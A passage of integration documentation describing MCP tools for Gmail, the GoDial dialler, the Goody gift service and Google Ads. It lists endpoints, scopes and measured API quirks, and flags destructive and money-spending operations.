google_gmail_send_draft (send, destructive) — Send an existing Gmail draft. IMPORTANT: You must first call google_gmail_list_drafts to get the actual draft_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/drafts/{draft_id}/send. Scopes: https://www.googleapis.com/auth/gmail.compose. google_gmail_trash_message (admin, destructive) — Move a Gmail message to trash. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/trash. Scopes: https://www.googleapis.com/auth/gmail.modify. google_gmail_update_draft (draft) — Update an existing Gmail draft. IMPORTANT: You must first call google_gmail_list_drafts to get the actual draft_id (a long alphanumeric string like 'r3948572938475293847'). Do NOT use placeholder values. PUT /api/v1/tools/google/gmail/drafts/{draft_id}. Scopes: https://www.googleapis.com/auth/gmail.compose. ================================================================================ ## GoDial URL: https://www.agenticfabriq.com/integrations/godial Section: Integrated Tools GoDial — 31 MCP tools Provider key: godial. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. godial_delete_externals_accounts_by_id_remove (members, destructive) — Delete a member. DESTRUCTIVE: it removes a person's ability to log in to the dialler, and their id stops resolving anywhere it was referenced. DELETE /api/v1/godial/externals/accounts/{id}/remove. Scopes: api. godial_delete_externals_contact_by_id_remove (contacts, destructive) — Delete a contact by its id. DESTRUCTIVE: the contact and its call history leave the list. DELETE /api/v1/godial/externals/contact/{id}/remove. Scopes: api. godial_delete_externals_lists_by_id_remove (lists, destructive) — Delete a calling list. DESTRUCTIVE and the widest blast radius in this integration: a list is the container every contact lives in, so deleting one takes the contacts filed under it with it. DELETE /api/v1/godial/externals/lists/{id}/remove. Scopes: api. godial_delete_externals_lists_detach (lists, destructive) — Remove a member's access to a calling list. DESTRUCTIVE in the relationship sense -- the list and its contacts survive, the member's access does not. Both ids are required and are sent in the body of a DELETE, which is GoDial's own shape. DELETE /api/v1/godial/externals/lists/detach. Scopes: api. godial_delete_externals_tasks_by_id_remove (tasks, destructive) — Delete a task. DESTRUCTIVE: the task and its reminder are removed. DELETE /api/v1/godial/externals/tasks/{id}/remove. Scopes: api. godial_delete_externals_team_by_id_remove (teams, destructive) — Delete a team. DESTRUCTIVE and not undoable through the API. A team is the parent of its calling lists, so deleting one affects everything filed under it; confirm with the operator before calling this. DELETE /api/v1/godial/externals/team/{id}/remove. Scopes: api. godial_get_externals_accounts_by_id_view (members) — Retrieve one member by id, with their permissions and team assignment. GET /api/v1/godial/externals/accounts/{id}/view. Scopes: api. godial_get_externals_accounts_list (members) — List the members (agents, sub-managers and team managers) of this GoDial company. Returns each member's id, name, email, username, permissions block, teamsId and creation time. Member ids are what `accountsId` and `callerId` want elsewhere in this integration, so this is usually the first call when assigning work. GET /api/v1/godial/externals/accounts/list. Scopes: api. godial_get_externals_contact_by_id_view (contacts) — Retrieve one contact by id, with its phone numbers, company, notes, custom fields, assigned member and call history summary. A contact that does not exist -- or has been deleted -- is answered 204 with an EMPTY BODY rather than 404 (measured 2026-09-18), which arrives here as an empty object. So an empty result means 'no such contact', not 'a contact with no fields'. GET /api/v1/godial/externals/contact/{id}/view. Scopes: api. godial_get_externals_contact_list_by_listid (contacts) — List every contact in one calling list. The list id is the path argument -- there is no all-contacts endpoint in GoDial's external API, so enumerate the lists first and page through them one list at a time. Returns the full contact record including custom fields and the last disposition. GET /api/v1/godial/externals/contact/list/{listId}. Scopes: api. godial_get_externals_lists_by_id_view (lists) — Retrieve one calling list by id, with its call script and settings. GET /api/v1/godial/externals/lists/{id}/view. Scopes: api. godial_get_externals_lists_list (lists) — List every calling list in the company, with its id, name, call script, owning team and integration settings. List ids are what the contact operations address, so this is the entry point for anything contact-shaped. GET /api/v1/godial/externals/lists/list. Scopes: api. godial_get_externals_tasks_by_id_view (tasks) — Retrieve one task by id, with its reminder time, owner and completion state. GET /api/v1/godial/externals/tasks/{id}/view. Scopes: api. godial_get_externals_tasks_list (tasks) — List every task in the company: follow-ups and reminders assigned to members, optionally tied to a contact. GET /api/v1/godial/externals/tasks/list. Scopes: api. godial_get_externals_team_by_id_view (teams) — Retrieve one team by its id. An id that is not a valid GoDial team is answered 500 with the message 'Team is not valid' rather than 404 -- GoDial reports most failures as 500 (measured 2026-09-18), so read the message, not the status. GET /api/v1/godial/externals/team/{id}/view. Scopes: api. godial_get_externals_team_list (teams) — List every team in the GoDial company this connection is for. A team is the top-level grouping in GoDial: calling lists belong to a team and members are assigned to one. Returns each team's id, name, creation time and companyId. Takes no arguments -- the company is fixed by the access token, which is issued per company. This is also the operation the connect form probes, because it is the only GoDial endpoint measured to refuse an invalid token cleanly rather than crash. GET /api/v1/godial/externals/team/list. Scopes: api. godial_post_externals_accounts_add (members) — Create a member (a GoDial user who can log in to the dialler app). `name`, `username`, `password`, `role` and `teamsId` are all required; GoDial refuses a partial body one field at a time with 400 ' is a required argument'. `teamsId` must be a JSON ARRAY of team ids even for a single team -- a bare string is refused with 400 'Value is not an array.' (measured 2026-09-18). The permission flags (crmAccess, skipCallAccess, modifyUserAccess, listAccess) default to the company's own defaults when omitted. POST /api/v1/godial/externals/accounts/add. Scopes: api. godial_post_externals_contact_add (contacts) — Add a contact to a calling list. `phone` and `listId` are both required. `assignmentMode` decides who gets the lead: 'roundrobin' hands it to the next member in rotation, 'default' (the default) is first-come first-serve; pass `accountsId` instead to assign a specific member. `customFields` is an array of {name, value} objects and `source_marketing` is a UTM object -- both are sent as real JSON, not as JSON encoded into a string (measured 2026-09-18: a stringified array is refused with 400 'Value is not an array.'). POST /api/v1/godial/externals/contact/add. Scopes: api. godial_post_externals_contact_by_id_dispose (calls) — Record the outcome of a call, SMS or email against a contact -- GoDial calls this disposing. `dispo` must be one of the UPPERCASE disposition values configured for the company (for example INTERESTED, NOT INTERESTED, CALLBACK, DND, NO ANSWER); an unconfigured value is answered 500. `calledOn` and `callbackOn` are ISO 8601 with a timezone offset (2022-08-31T15:25:22+05:30). `callerId` is the MEMBER id of whoever made the contact, not a phone number -- list the members to find it. This is how an external dialler or CRM writes its activity back into GoDial. POST /api/v1/godial/externals/contact/{id}/dispose. Scopes: api. godial_post_externals_contact_delete_by_phone (contacts, destructive) — Delete a contact by phone number within one list. DESTRUCTIVE -- it is a delete despite being a POST, because GoDial needs two identifying fields and takes them in a body. Both `phone` and `listId` are required; the same number can exist in more than one list and only the named list's copy is removed. Use this when an upstream CRM knows the number but not GoDial's contact id. POST /api/v1/godial/externals/contact/delete-by-phone. Scopes: api. godial_post_externals_contact_listchange (contacts) — Move a contact from its current calling list to another one. Both the contact id and the destination list id are required. The contact keeps its id and history; only its list changes. POST /api/v1/godial/externals/contact/listchange. Scopes: api. godial_post_externals_lists_add (lists) — Create a calling list inside a team. `name` and `teamsId` are both required, and here `teamsId` is a single team id STRING -- not the JSON array the member operations want. That asymmetry is GoDial's, recorded in its own contract, and getting it the wrong way round is refused. POST /api/v1/godial/externals/lists/add. Scopes: api. godial_post_externals_lists_assign (lists) — Give a member access to a calling list, so its contacts appear in their dialler. Both the member id (`accountsId`) and the list id (`listsId`) are required. THE MEMBER MUST ALREADY BE ON THE LIST'S TEAM -- an undocumented precondition, measured 2026-09-18: assigning a list owned by a team the member is not on answers 500 'Invalid Parameters / Member is Not Assign to List's assign Team'. Add the member to that team first (update the member's teamsId), or the assignment reads as a server error rather than as a rule. POST /api/v1/godial/externals/lists/assign. Scopes: api. godial_post_externals_log_list (reports) — Run a call-activity report over a date range: every logged call, SMS and email for the members, lists and dispositions asked for. A READ despite being a POST -- the filters do not fit in a URL, and nothing is created. MEASURED 2026-09-18, and it contradicts GoDial's own contract: the contract marks every field optional, but `range`, `lists`, `users` and `dispos` are all required in practice -- omitting any one crashes the endpoint with 500 'Cannot read properties of undefined'. They are declared required here so an agent is refused by the schema instead of by a 500 that names nothing. Pass ["allLists"] for every list and ["All Dispos"] for every disposition. `range` is exactly two YYYY-MM-DD strings, start then end. `limit` and `skip` really are optional and page the result. POST /api/v1/godial/externals/log/list. Scopes: api. godial_post_externals_tasks_add (tasks) — Create a task for a member. `name` and `accountsId` (the member it is assigned to) are required. Set `reminder` true with a `remindOn` date to have GoDial remind them, and pass `contactId` to tie the task to a contact. POST /api/v1/godial/externals/tasks/add. Scopes: api. godial_post_externals_team_add (teams) — Create a team. Only `name` is required; a blank or missing name is refused with 422 'The `team` instance is not valid. Details: `name` can't be blank'. Teams are the container calling lists are created in, so a new deployment usually creates a team before a list. POST /api/v1/godial/externals/team/add. Scopes: api. godial_put_externals_accounts_by_id_update (members) — Update a member's profile, role, team assignment or permission flags. NOT a partial update: GoDial requires `name`, `email`, `role` and `teamsId` on every call, refusing each in turn with 400 ' is a required argument' -- so read the member back first and resend the current value of anything you are not changing. Two of those are surprises worth stating: the contract marks `name` and `email` optional here, and a member can be CREATED with no email at all but cannot then be UPDATED without one (measured 2026-09-18). PUT /api/v1/godial/externals/accounts/{id}/update. Scopes: api. godial_put_externals_contact_by_id_update (contacts) — Update a contact's details or custom fields. Every field is optional and only what is sent is changed. Note that `phone` is NOT updatable here -- GoDial's update form omits it, unlike the create form. PUT /api/v1/godial/externals/contact/{id}/update. Scopes: api. godial_put_externals_lists_by_id_update (lists) — Rename a calling list, change its description, or move it to another team. All fields optional; only what is sent changes. PUT /api/v1/godial/externals/lists/{id}/update. Scopes: api. godial_put_externals_tasks_by_id_update (tasks) — Update a task, or mark it done by sending `done` true. GoDial requires `name` on an update even when only `done` is changing, so read the task back first and resend its current name. PUT /api/v1/godial/externals/tasks/{id}/update. Scopes: api. godial_put_externals_team_by_id_update (teams) — Rename a team or change its description. Both fields are optional, and GoDial replaces only what is sent -- omit a field to leave it unchanged. PUT /api/v1/godial/externals/team/{id}/update. Scopes: api. ================================================================================ ## Goody URL: https://www.agenticfabriq.com/integrations/goody Section: Integrated Tools Goody — 28 MCP tools Provider key: goody. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. goody_delete_v1_webhooks_by_id (write, destructive) — Delete one webhook endpoint by id, after which Goody stops calling it. There is no undo in this integration: restoring it means creating it again with Create a webhook endpoint. It destroys the subscription and not any order -- what stops is the delivery of events via DELETE /v1/webhooks/{id} DELETE /api/v1/goody/webhooks/{id}. Scopes: api. goody_get_v1_brands (read) — Page through the brands in the gift catalogue, each with its logo, its shipping price and free-shipping threshold in cents, its brand values (USA Made, Social Impact Driven, Sustainable, Gluten Free, Vegan, Kosher Certified, Female Founded, AAPI Founded, BIPOC Founded, Black Founded, LGBTQ+ Founded, Hispanic Founded) and its brand sets -- the collections of products it sells. `country_code` narrows the catalogue to what ships to one country and defaults to US via GET /v1/brands GET /api/v1/goody/brands. Scopes: api. goody_get_v1_cards (read) — Page through the digital greeting cards a gift can be wrapped in, each with its image, thumbnail and the occasions it suits. A card id is what `card_id` on Send a gift batch names, and a card is REQUIRED whenever a message is sent, because the message is shown after the card is opened via GET /v1/cards GET /api/v1/goody/cards. Scopes: api. goody_get_v1_categories (read) — List the storefront categories a product listing can be filtered by, each with its name, stable slug, SVG icon, whether it appears in the Categories navigation, in the Occasions navigation, or in neither, and which one is the store's default landing category via GET /v1/categories GET /api/v1/goody/categories. Scopes: api. goody_get_v1_collections (read) — Page through this account's gift collections -- curated groups of products a recipient chooses one of. Each row carries the collection's title, its owning workspace, whether it currently has a published version and that version's price in cents including shipping. `published=true` narrows the list to the published ones via GET /v1/collections GET /api/v1/goody/collections. Scopes: api. goody_get_v1_collections_by_id (read) — Read one gift collection by id: its title, owning workspace, published state, published price in cents including shipping, and the product that represents it in a cart. A collection is sent like any other product, so this is how to check what a recipient will be offered before sending it via GET /v1/collections/{id} GET /api/v1/goody/collections/{id}. Scopes: api. goody_get_v1_gift_templates (read) — Page through this user's saved gift templates -- a reusable cart plus a greeting card. Each row carries the template's name, its products subtotal in USD cents before shipping, fees and tax, a comma-separated product summary, up to four product thumbnails, whether everything in it ships free, and its card via GET /v1/gift_templates GET /api/v1/goody/gift_templates. Scopes: api. goody_get_v1_gift_templates_by_id (read) — Read one saved gift template by id: name, products subtotal in USD cents before shipping, fees and tax, product count and summary, thumbnails, free-shipping flag, greeting card and card image, and its created and updated timestamps via GET /v1/gift_templates/{id} GET /api/v1/goody/gift_templates/{id}. Scopes: api. goody_get_v1_gifts_of_choice (read) — List the Gift of Choice products -- the flagship one (`kind: default`) and any seasonal one -- each with the price range in cents a sender may fund it with (`price_max` null means unlimited) and the occasions it suits. A gift of choice is sent like any other product: put its id in the cart with a `variable_price` inside that range via GET /v1/gifts_of_choice GET /api/v1/goody/gifts_of_choice. Scopes: api. goody_get_v1_me (read) — Return who this credential belongs to: the associated email address and the account's public app id. Goody's own documentation names this as the smoke test for a new API key, and it is the cheapest read on the surface -- no argument, no pagination and nothing a plan can gate via GET /v1/me GET /api/v1/goody/me. Scopes: api. goody_get_v1_order_activities (read) — Page through order status-change events -- each one an order plus the status it moved to and when -- newest first. `after` and `before` take an activity id and page around it, and `statuses` filters to the transitions you care about, which is what makes this the polling alternative to webhooks for tracking whether gifts were opened, accepted or shipped via GET /v1/order_activities GET /api/v1/goody/order_activities. Scopes: api. goody_get_v1_order_batches (read) — Page through this account's order batches -- one batch per send, however many recipients it had. Each row carries the batch name, sender, message, greeting card, send method and status, recipient and order counts, scheduling and expiry, plus previews of the first ten orders and recipients. Walk a batch's full lists with List a batch's orders and List a batch's recipients via GET /v1/order_batches GET /api/v1/goody/order_batches. Scopes: api. goody_get_v1_order_batches_by_id (read) — Read one order batch by id: its batch name and reference id, sender and `from_name`, message and greeting card, cart, send method and send status, recipient and order counts, scheduling, expiry, owning workspace, and previews of its first ten orders and recipients via GET /v1/order_batches/{id} GET /api/v1/goody/order_batches/{id}. Scopes: api. goody_get_v1_order_batches_by_id_orders (read) — Page through every order in one batch -- one order per recipient -- with each order's status, amounts in cents, cart, recipient, individual gift link, expiry and shipments. The batch itself only previews the first ten, so this is the full list via GET /v1/order_batches/{id}/orders GET /api/v1/goody/order_batches/{id}/orders. Scopes: api. goody_get_v1_order_batches_by_id_recipients (read) — Page through the recipients of one batch -- first name, last name and email as they were submitted. The batch itself previews only the first ten via GET /v1/order_batches/{id}/recipients GET /api/v1/goody/order_batches/{id}/recipients. Scopes: api. goody_get_v1_orders (read) — Page through the individual orders this account has sent -- one per recipient -- with status, amounts in cents, cart, recipient, gift link, expiry, swap state and thank-you note. `created_at[after]` and `created_at[before]` bound the window. An order's `event_times` are returned only by Get a gift, not here via GET /v1/orders GET /api/v1/goody/orders. Scopes: api. goody_get_v1_orders_by_id (read) — Read one order by id, with everything the listing carries plus `event_times` -- the timeline this endpoint alone returns. Also the individual gift link (which hides the price), the recipient's view count and thank-you note, shipments, whether the gift was SWAPPED and, when it was, both the original cart and amounts and the post-swap ones via GET /v1/orders/{id} GET /api/v1/goody/orders/{id}. Scopes: api. goody_get_v1_payment_methods (read) — List the payment methods saved on this account: id, name, cardholder name where there is one, and the available balance for the balance-backed ones. A `payment_method_id` from here is what Send a gift batch charges; sending with none named charges the FIRST method on the account via GET /v1/payment_methods GET /api/v1/goody/payment_methods. Scopes: api. goody_get_v1_products (read) — Page through the gift catalogue: each product's name, brand, price in cents, subtitles, images, attributes, variants and restricted states, and the minimum and maximum when its price is variable (a flex gift or a gift card). `use_custom_catalog=true` reads this account's own curated catalogue instead of Goody's whole one, `custom_catalog_show_inactive` includes what has been deactivated in it, and `country_code` narrows to what ships to one country via GET /v1/products GET /api/v1/goody/products. Scopes: api. goody_get_v1_products_by_id (read) — Read one product by id: name, brand, price in cents, its variable-price range, subtitle and recipient-facing description, images, attributes, restricted states, and the variant groups with `variants_num_selectable` -- the number of variant names Send a gift batch must pass for a Direct Send of this product. `use_custom_catalog` reads it out of this account's own catalogue via GET /v1/products/{id} GET /api/v1/goody/products/{id}. Scopes: api. goody_get_v1_shipping_countries (read) — List the countries Goody can ship to: ISO 3166-1 alpha-2 code, name, and the shipping groups each belongs to. The `domestic` group is what the domestic-only product filter means, and a country here is what `country_code` on the brand and product listings accepts via GET /v1/shipping_countries GET /api/v1/goody/shipping_countries. Scopes: api. goody_get_v1_workspaces (read) — List the workspaces this credential can reach -- id and name. An organization is divided into workspaces, orders and batches live inside one, and Send a gift batch puts a batch in the OLDEST workspace the user can reach unless `workspace_id` names another via GET /v1/workspaces GET /api/v1/goody/workspaces. Scopes: api. goody_post_v1_commerce_user_payment_methods (write) — Store a payment method against one of YOUR app's users (Goody's Commerce surface), from an `interim_card_key` minted by Goody's card form plus the cardholder name and billing address. This SAVES a card rather than charging it -- no money moves here -- and the stored id is what `payment_method_id` on Send a gift batch then names, alongside the same `commerce_end_user_id`. Only `card` is supported as `payment_method_type` via POST /v1/commerce_user_payment_methods POST /api/v1/goody/commerce_user_payment_methods. Scopes: api. goody_post_v1_order_batches (write) — SEND GIFTS, AND SPEND MONEY. This creates and sends an order batch: a cart of products, a list of recipients, a `from_name`, a `send_method` (`email_and_link` emails each recipient, `link_multiple_custom_list` returns gift links with no email, `direct_send` ships to a mailing address) and, optionally, a greeting card and message, a swap policy, an expiry, an international shipping tier and a workspace. It CHARGES `payment_method_id`, or the account's first payment method when none is named, and it is the only tool in this integration that moves money. `scheduled_send_on` defers the send; `customer_reference_id` is an idempotency key Goody rejects a duplicate of rather than sending twice. Price it first with Price a gift batch, which charges nothing via POST /v1/order_batches POST /api/v1/goody/order_batches. Scopes: api. goody_post_v1_order_batches_price (write) — Price a gift batch WITHOUT sending it: post the same cart, recipients and send method that Send a gift batch takes and get the cost back, in USD cents. Nothing is created, nobody is emailed and no payment method is charged, which is what makes this the safe way to quote a send or to check a cart is valid before committing to it via POST /v1/order_batches/price POST /api/v1/goody/order_batches/price. Scopes: api. goody_post_v1_orders_by_id_cancel (write) — Cancel one order that the recipient has not accepted yet, which refunds it. It only reaches an UNACCEPTED gift: once a recipient has accepted, the order is in fulfilment and this is not the way back. Goody's own scope prose files cancelling an unaccepted order under the permission that costs nothing, and cancelling returns money rather than spending it via POST /v1/orders/{id}/cancel POST /api/v1/goody/orders/{id}/cancel. Scopes: api. goody_post_v1_orders_by_id_update_expiration (write) — Move one order's expiry to a new ISO 8601 date and time. Costs nothing and sends nothing: it changes how long the recipient has to accept the gift they were already sent. Orders paid from account balance must carry an expiry via POST /v1/orders/{id}/update_expiration POST /api/v1/goody/orders/{id}/update_expiration. Scopes: api. goody_post_v1_webhooks (write) — Register a URL for Goody to call on order events, optionally filtered to named events. This is the push alternative to polling List order activity, and it sends Goody's order data to whatever host is named here -- so the URL must be one you control via POST /v1/webhooks POST /api/v1/goody/webhooks. Scopes: api. ================================================================================ ## Google Ads URL: https://www.agenticfabriq.com/integrations/google-ads Section: Integrated Tools Google Ads — 170 MCP tools Provider key: google_ads. Scopes: account:read, account:write, adgroups:read, adgroups:write, ads:read, ads:write, assets:read, assets:write, audiences:read, audiences:write, bidding:write, billing:read, billing:write, budgets:write, campaigns:read, campaigns:write, conversions:read, conversions:upload, conversions:write, experiments:write, keywords:read, keywords:write, labels:write, planning:read, recommendations:apply, recommendations:read, reporting:query, reporting:read, useraccess:read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_ads_add_ad_group_label (write) — Attach an existing label to an ad group. Purely organizational. POST /api/v1/tools/google_ads/add_ad_group_label. Scopes: labels:write. google_ads_add_campaign_label (write) — Attach an existing label to a campaign. Purely organizational. POST /api/v1/tools/google_ads/add_campaign_label. Scopes: labels:write. google_ads_add_keywords (write) — Add up to 100 keywords to one ad group in a single batch. EVERY KEYWORD IS ADDED PAUSED — google_ads_enable_keyword is the separate step that starts it matching searches and buying clicks. cpc_bid_micros applies to every keyword in the batch and is the most each will pay for one click; omit it to inherit the ad group's bid. POST /api/v1/tools/google_ads/add_keywords. Scopes: keywords:write. google_ads_add_negative_keywords (write) — Add up to 100 negative keywords to a campaign, stopping it matching those searches. THIS IS THE SPEND-REDUCING WRITE and it takes effect immediately. Feed it from google_ads_list_search_terms. POST /api/v1/tools/google_ads/add_negative_keywords. Scopes: keywords:write. google_ads_add_shared_criteria (write) — Add up to 100 negative keywords to a shared set. Every campaign the set is attached to stops matching them. POST /api/v1/tools/google_ads/add_shared_criteria. Scopes: keywords:write. google_ads_apply_recommendation (write, destructive) — Apply one of Google's recommendations. WHAT THIS DOES DEPENDS ENTIRELY ON THE RECOMMENDATION: a CAMPAIGN_BUDGET recommendation raises a budget, a TARGET_CPA_OPT_IN changes the bidding strategy, a KEYWORD adds keywords. Read it with google_ads_list_recommendations and check its type and its cost impact first. Google publishes no un-apply. POST /api/v1/tools/google_ads/apply_recommendation. Scopes: recommendations:apply. google_ads_attach_ad_group_asset (write) — Attach an existing asset to one ad group, overriding what the campaign attaches for that field type. POST /api/v1/tools/google_ads/attach_ad_group_asset. Scopes: assets:write. google_ads_attach_asset_group_asset (write) — Put an existing asset into a Performance Max asset group in a given field type. This is how a PMax asset group's ad strength is improved. POST /api/v1/tools/google_ads/attach_asset_group_asset. Scopes: assets:write. google_ads_attach_campaign_asset (write) — Attach an existing asset to a campaign in a given field type, e.g. a sitelink or a callout. The asset begins showing with that campaign's ads once Google approves it. POST /api/v1/tools/google_ads/attach_campaign_asset. Scopes: assets:write. google_ads_attach_shared_set (write) — Attach a shared negative list to a campaign, so the campaign stops matching everything in it. Spend-reducing. POST /api/v1/tools/google_ads/attach_shared_set. Scopes: keywords:write. google_ads_create_account_budget_proposal (write, destructive) — Propose an ACCOUNT-level budget: a ceiling on what this whole account may be invoiced for between two dates. proposed_spending_limit_micros is REQUIRED — an account budget with no ceiling is exactly the unbounded-spend case Agentic Fabriq refuses to ship. The proposal must still be approved by Google; read it back with google_ads_list_account_budget_proposals. POST /api/v1/tools/google_ads/create_account_budget_proposal. Scopes: billing:write. google_ads_create_ad (write) — Create a responsive search ad in an ad group. ALWAYS CREATED PAUSED — google_ads_enable_ad is the separate step that starts it serving. Google requires at least 3 headlines (30 characters each) and 2 descriptions (90 characters each); it will reject fewer. The landing page in final_urls is the customer's own and Agentic Fabriq never chooses it. POST /api/v1/tools/google_ads/create_ad. Scopes: ads:write. google_ads_create_ad_group (write) — Create an ad group inside a campaign. ALWAYS CREATED PAUSED — google_ads_enable_ad_group is the separate step that starts it serving. cpc_bid_micros is the most this ad group will pay for one click; omit it to inherit the campaign's bidding strategy. POST /api/v1/tools/google_ads/create_ad_group. Scopes: adgroups:write. google_ads_create_ad_group_bid_modifier (write) — Add an ad-group-level bid multiplier for a device type, e.g. bid 1.3x on mobile. bid_modifier is bounded to 0.1-10.0. POST /api/v1/tools/google_ads/create_ad_group_bid_modifier. Scopes: bidding:write. google_ads_create_asset_group (write) — Create an asset group inside a Performance Max campaign. ALWAYS CREATED PAUSED. An asset group with too few assets will not serve; read ad_strength back with google_ads_list_asset_groups. POST /api/v1/tools/google_ads/create_asset_group. Scopes: assets:write. google_ads_create_audience (write) — Create an audience from existing user lists. Creating one changes nothing about delivery until it is used as a targeting criterion. POST /api/v1/tools/google_ads/create_audience. Scopes: audiences:write. google_ads_create_bidding_strategy (write) — Create a bidding strategy campaigns can share. Every type here requires the target it is defined by — a strategy with no target is the unbounded-bid case Agentic Fabriq does not ship. Creating a strategy spends nothing until a campaign is attached to it. POST /api/v1/tools/google_ads/create_bidding_strategy. Scopes: bidding:write. google_ads_create_campaign (write) — Create a campaign against an existing budget. IT IS ALWAYS CREATED PAUSED and there is no argument that changes that — starting it costs money, so that is a second, separately-granted, confirmation-gated step (google_ads_enable_campaign). Supply the budget's resource name from google_ads_list_campaign_budgets or create one first. POST /api/v1/tools/google_ads/create_campaign. Scopes: campaigns:write. google_ads_create_campaign_bid_modifier (write) — Add a campaign-level bid multiplier for an interaction type, e.g. bid 1.2x on calls. bid_modifier is bounded to 0.1-10.0 in the schema and in the connector. POST /api/v1/tools/google_ads/create_campaign_bid_modifier. Scopes: bidding:write. google_ads_create_campaign_budget (write) — Create a DAILY budget a campaign can spend against. amount_micros is REQUIRED and is the ceiling: it is what Google may spend per day, in micros of the account currency (1,000,000 micros = 1 unit, so 50 dollars a day is 50000000). Creating a budget spends nothing on its own — nothing is charged until a campaign referencing it is enabled. POST /api/v1/tools/google_ads/create_campaign_budget. Scopes: budgets:write. google_ads_create_campaign_criterion (write) — Add one campaign-level targeting criterion or exclusion: a location, a language, or a negative keyword that applies to the whole campaign. Use google_ads_suggest_geo_target_constants to find a location id. POST /api/v1/tools/google_ads/create_campaign_criterion. Scopes: campaigns:write. google_ads_create_campaign_draft (write) — Create a private draft copy of a campaign. Nothing about the live campaign changes and the draft spends nothing; it exists so changes can be made and then either promoted onto the original or run as an experiment. POST /api/v1/tools/google_ads/create_campaign_draft. Scopes: experiments:write. google_ads_create_campaign_group (write) — Create a campaign group for organizing campaigns in reporting. Changes nothing about delivery or spend. POST /api/v1/tools/google_ads/create_campaign_group. Scopes: campaigns:write. google_ads_create_conversion_action (write) — Create a new conversion action. What an account counts as a conversion is what every automated bidding strategy in it optimizes toward, so this is a bidding change wearing a measurement hat. Created ENABLED because a conversion action that is not enabled records nothing and is therefore inert — it cannot spend money. POST /api/v1/tools/google_ads/create_conversion_action. Scopes: conversions:write. google_ads_create_conversion_custom_variable (write) — Create a custom variable that uploaded conversions can carry, for example a deal stage or a product line. Additive and inert until an upload sets it. POST /api/v1/tools/google_ads/create_conversion_custom_variable. Scopes: conversions:write. google_ads_create_customer_client (write, destructive) — Create a brand-new Google Ads account underneath this manager (MCC) account, with a name, currency and time zone. IRREVERSIBLE THROUGH THE API: Google publishes no way to delete an account — only a person can cancel one in the Google Ads UI. Requires a developer token with Basic access or above; Explorer access cannot reach account creation at all. POST /api/v1/tools/google_ads/create_customer_client. Scopes: account:write. google_ads_create_experiment (write) — Create a campaign experiment. Created in SETUP status and running nothing until google_ads_schedule_experiment starts it, so this spends nothing on its own. POST /api/v1/tools/google_ads/create_experiment. Scopes: experiments:write. google_ads_create_experiment_arm (write) — Add an arm to an experiment: the control arm names the existing campaign, the treatment arm gets a copy. traffic_split is the percentage of traffic this arm receives and the two arms must sum to 100. POST /api/v1/tools/google_ads/create_experiment_arm. Scopes: experiments:write. google_ads_create_image_asset (write) — Create a reusable image asset from IMAGE BYTES, supplied base64-encoded. Deliberately NOT from a URL: an operation that takes a URL Agentic Fabriq then fetches is a server-side request forgery sink, and no image asset is worth one. POST /api/v1/tools/google_ads/create_image_asset. Scopes: assets:write. google_ads_create_label (write) — Create a label that can then be attached to campaigns, ad groups and ads. Labels change nothing about delivery or spend. POST /api/v1/tools/google_ads/create_label. Scopes: labels:write. google_ads_create_shared_set (write) — Create a reusable negative-keyword or negative-placement list. Empty until google_ads_add_shared_criteria puts members in it, and inert until google_ads_attach_shared_set attaches it to a campaign. POST /api/v1/tools/google_ads/create_shared_set. Scopes: keywords:write. google_ads_create_text_asset (write) — Create a reusable text asset — a headline, description, callout or structured snippet — that can then be attached to a campaign, ad group or asset group. Creating one changes nothing about delivery. POST /api/v1/tools/google_ads/create_text_asset. Scopes: assets:write. google_ads_create_user_list (write) — Create a RULE-BASED remarketing list — one that fills itself from site traffic matching a URL rule. Agentic Fabriq deliberately does not create Customer Match lists, which are built by uploading the identities of real people. POST /api/v1/tools/google_ads/create_user_list. Scopes: audiences:write. google_ads_detach_ad_group_asset (write) — Detach an asset from an ad group. The inverse of google_ads_attach_ad_group_asset. POST /api/v1/tools/google_ads/detach_ad_group_asset. Scopes: assets:write. google_ads_detach_campaign_asset (write) — Detach an asset from a campaign. It stops showing with that campaign's ads. The asset itself is untouched and can be re-attached with google_ads_attach_campaign_asset. POST /api/v1/tools/google_ads/detach_campaign_asset. Scopes: assets:write. google_ads_detach_shared_set (write, destructive) — Detach a shared negative list from a campaign. The campaign starts matching those searches again, so it increases spend. The inverse of google_ads_attach_shared_set. POST /api/v1/tools/google_ads/detach_shared_set. Scopes: keywords:write. google_ads_dismiss_recommendation (write) — Dismiss a recommendation so it stops being suggested. Changes nothing about the account's delivery or spend. There is no un-dismiss in the API — Google will re-surface the recommendation on its own if the condition persists, and a person can restore it in the Google Ads UI. That absence is stated here rather than implied. POST /api/v1/tools/google_ads/dismiss_recommendation. Scopes: recommendations:apply. google_ads_enable_ad (write, destructive) — Set an ad to ENABLED. THIS STARTS SERVING and buying clicks, provided its ad group and campaign are also enabled. The inverse is google_ads_pause_ad. POST /api/v1/tools/google_ads/enable_ad. Scopes: ads:write. google_ads_enable_ad_group (write, destructive) — Set an ad group to ENABLED. THIS STARTS 